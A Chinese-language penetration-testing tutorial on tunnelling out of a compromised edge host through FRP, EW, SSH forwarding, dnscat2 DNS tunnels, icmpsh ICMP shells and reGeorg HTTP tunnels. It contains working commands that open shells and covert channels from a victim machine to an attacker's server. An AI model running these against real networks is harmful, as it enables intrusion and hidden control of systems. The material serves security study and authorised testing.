前言

一篇对代理转发知识的总结文章。

名词解释

代理:其为中转站,中转数据流量,对应关系为一对多
端口转发:A端口流量转到B端口,A为新开,B为本就存在,对应关系为一对一

正向代理:主动连接,Client去连接Server的行为
反向代理:被动连接,Server去连接Client的行为

隧道使用场景

列举几种真实渗透场景,针对不同场景去选择代理转发隧道

场景一:边界机器存在公网IP,可访问外网;
场景二:边界机器不存在公网IP,可访问外网;
场景三:边界机器不存在公网IP,不可访问外网,80端口网站服务可被外网访问。

代理转发隧道选择

一:代理还是端口转发?

需基于渗透场景去选择,若以边界机器为流量跳板,对内网进行渗透,这时我们需要用到很多渗透工具,若一个个上传渗透工具到边界机器,则太麻烦,顾在这种情况,代理优于端口转发;若只需访问内网某端口,那么代理跟端口转发都可;

二:正向代理还是反向代理?

需基于渗透场景去选择,若边界机器存在公网IP,那么正反代理都可用,若边界机器不存在公网IP,那么只能用反向代理;若边界机器存在防火墙,则一般会拦截主动访问边界机器的流量,这时需要选择反向代理。总的来说,部分场景下正向代理有限制,反向代理都可实现,反向代理优于正向代理。

三:代理转发隧道选择?

主要基于两点:一:出网协议;二:出网端口;根据边界机器支持的出网协议和出网端口来选择到底使用什么代理转发隧道,例如果边界机器协议都支持,那么可以可以自由选择,如果边界机器只支持ICMP协议,那么只能选择ICMP协议做代理转发隧道。

判断边界机器出网协议:

1
2
3
4
5
6
7
8
9
1.ICMP
ping www.baidu.com
2.TCP
nc -n IP por
3.HTTP
curl IP:port
4.DNS
Windwos : nslookup domain
Linux : dig domain

代理转发隧道

FRP隧道

简介:反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,相比于EW更稳定,FRP分服务端和客户端,服务端放攻击者公网VPS,客户端放受害者边界机器,由于是反向代理,顾边界机器需能访问外网,无需有公网IP

Github地址https://github.com/fatedier/frp

后台启动FRP(frps为客户端、fprc为服务端)

1
2
nohup ./frps -c ./frps.ini &
nohup ./frpc -c ./frpc.ini &

FRP配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
frps.ini
[common]
#frp服务端监听 [VPS]
bind_addr = 0.0.0.0
#frp服务器监听端⼝ [实战中可以⽤⼀些通透性较好的端⼝]
bind_port = 7007
#验证凭据,服务端和客户端的凭据必须⼀样才能连接
auth_token = ELQEbOd0JEn
#每个代理可以设置的连接池上限
max_pool_count = 20
#⼝令认证超时时间,⼀般不⽤改
authentication_timeout = 900

frpc.ini
[common]
#frp服务端IP或域名 [实战中⼀般都会直接⽤域名]
server_addr = VPS-IP
#frp服务器端⼝
server_port = 7007
#授权token,此处必须与服务端保持⼀致,否则⽆法建⽴连接
auth_token = ELQEbOd0JEn
#启⽤加密 [通信内容加密传输,有效防⽌流量被拦截]
use_encryption = true
#启⽤压缩 [传输内容进⾏压缩,有效减⼩传输的⽹络流量,加快流量转发速度,但会额外消耗⼀些CPU资源]
use_compression = true
#内⽹穿透通常⽤socks5
[socks5]
type = tcp
#连接VPS内⽹穿透的远程连接端⼝
remote_port = 9066
#使⽤插件socks5代理
plugin = socks5
#socks5连接⼝令 [根据实际情况进⾏配置]
plugin_user = bywalks
plugin_passwd = bywalksaqqbsdc

若内网为多网段,可用Proxifier加多重代理链或端口转发思路,Proxifier多重代理链配置如下图

Create代理链后,从上方拖动SOCKS5代理到chain-1

配置完后,在Proxification Rules可选用

EW隧道

简介:远古代理转发工具,存在端口转发和SOCKS代理功能,可应对多重代理需求,由于工具太早,杀软都已标记,顾存在杀软时需要免杀才能使用

正向SOCKS5代理

反向SOCKS5代理

正向二级网络环境

反向二级网络环境

若还存在三四级网络环境,通内网的最内层开启SOCKS5代理,其他层做转发

SSH隧道

简介:基于SSH协议的隧道,加密传输,且Linux/Unix和各种设备自带SSH,可用作端口转发和SOCKS代理

SSH协议常用参数

1
2
3
4
5
6
7
8
-C    压缩传输,提高传输速度
-f 将SSH传输转入后台运行,不占用当前的shell
-N 建立静默连接(建立了连接,但看不到具体会话)
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS代理)
-P 指定SSH端口

转发方式:
1:本地转发;
2:远程转发;
3:动态转发;

实验环境

本地转发(B有公网IP,正向连接)

在攻击服务器A上执行,访问Aport等于访问Cport
ssh -CfNg -L Aport:CIP:Cport root@BIP

远程转发(B没有公网IP,能访问外网,反向连接)

在边界服务器B上执行,访问Aport等于访问Cport
ssh -CfNg -R Aport:CIP:Cport root@AIP

动态转发(等于开启代理服务器,B有公网IP,正向代理)

在攻击服务器A上执行,访问Aport等于访问B代理
ssh -CfNg -D Aport root@Bport

DNS隧道

简介:DNS隧道一般来说边界机器都不会禁用,顾当TCP、HTTP等隧道都无法建立的时候可以考虑DNS隧道,建立DNS隧道之前首先要准备公网VPS和域名,这里用dnscat2搭建DNS隧道

准备工作

域名做A和NS解析,以下为西部数码,139.162.46.152为公网VPS的IP

判断解析成功

通过ping判断A解析成功

通过公网VPS主机抓包

1
tcpdump -n -i eth0 udp dst port 53

其他主机

1
nslookup dns2tcp.hackby.site

查看公网VPS的抓包情况,若抓到对域名“dns2tcp.hackby.site”进行查询的DNS请求数据包,则说明第二条NS解析设置成功并已生效

DNSCAT2安装(Ubuntu环境)

1
2
3
4
5
6
7
8
9
10
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler

apt-get install git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle init
bundle install

启动服务端

1
ruby ./dnscat2.rb dns2tcp.hackby.site -e open -c 123456 --no-cache

启动客户端

1
2
3
4
5
6
7
8
9
10
linux:
git clone https://github.com/iagox86/dnscat2
cd dnscat2/client/
make

windows:
#测试是否能够通信
dnscat2-v0.07-client-win32.exe --ping dns2tcp.hackby
#连接服务端,secret后为设置的密码
dnscat2-v0.07-client-win32.exe --dns domain=dns2tcp.hackby.site --secret=123456

客户端返回如下,则建立连接成功

建立连接后,可执行命令

1
2
3
4
5
6
7
8
9
10
11
sessions    查看会话
session -i 1 进入1会话
shell 打开另一个会话,进入交互模式
help 查看帮助
download 下载
ping
suspend 返回上一层
upload
shutdown 切断但钱会话
quit 退出dnscat2控制台
kill 切断通道

ICMP隧道

简介:ICMP隧道以icmpsh工具做叙述,攻击机器和受害机器都需要有公网IP,icmpsh的目标主机只能运行于Windows平台,控制端只能运行于Linux平台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#下载程序
git clone https://github.com/inquisb/icmpsh.git
#服务端禁用:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#安装impacket
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python setup.py install
#运行程序
./run.sh 输入受害主机的公网IP地址
#攻击机器开启监听:
./icmpsh_m.py 攻击机器IP 受害机器的公网IP
#在受害机器上
icmpsh.exe -t 攻击机器ip -d 500 -b 30 -s 128

HTTP隧道

简介:HTTP隧道以reGeory和Neo-reGeory工具做叙述,Neo-reGeory为reGeory的加密流量版本

1
2
3
4
5
6
7
8
9
10
11
12
13
1:reGeory.py
#github地址
https://github.com/sensepost/reGeorg
#使用方法
python reGeorgSocksProxy.py -p 1080 -u http://ip/tunnel.nosocket.php

2:Neo-reGeory.py
#github地址
https://github.com/L-codes/Neo-reGeorg
#生成文件
python neoreg.py generate -k test123
#使用方法
python3 neoreg.py -k test123 -u http://xx/tunnel.php